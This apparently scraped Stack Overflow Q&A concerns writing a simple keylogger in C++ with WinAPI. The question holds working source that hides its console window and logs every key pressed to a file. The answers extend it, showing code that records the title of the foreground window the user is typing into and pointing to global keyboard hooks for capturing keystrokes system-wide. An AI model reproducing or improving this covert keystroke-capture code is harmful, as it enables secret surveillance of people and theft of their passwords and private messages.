问题
I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes? And here is my code so far:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
回答1:
Since the question is "Is there a way to get in which application the user is typing the captured key strokes?" I'd say use HWND WINAPI GetForegroundWindow(void);
For example:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
In cWindow you get the title of the window in which the user is typing.
回答2:
What you want is a global keyboard hook
A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A thread-specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries.
来源:https://stackoverflow.com/questions/15392731/c-simple-keylogger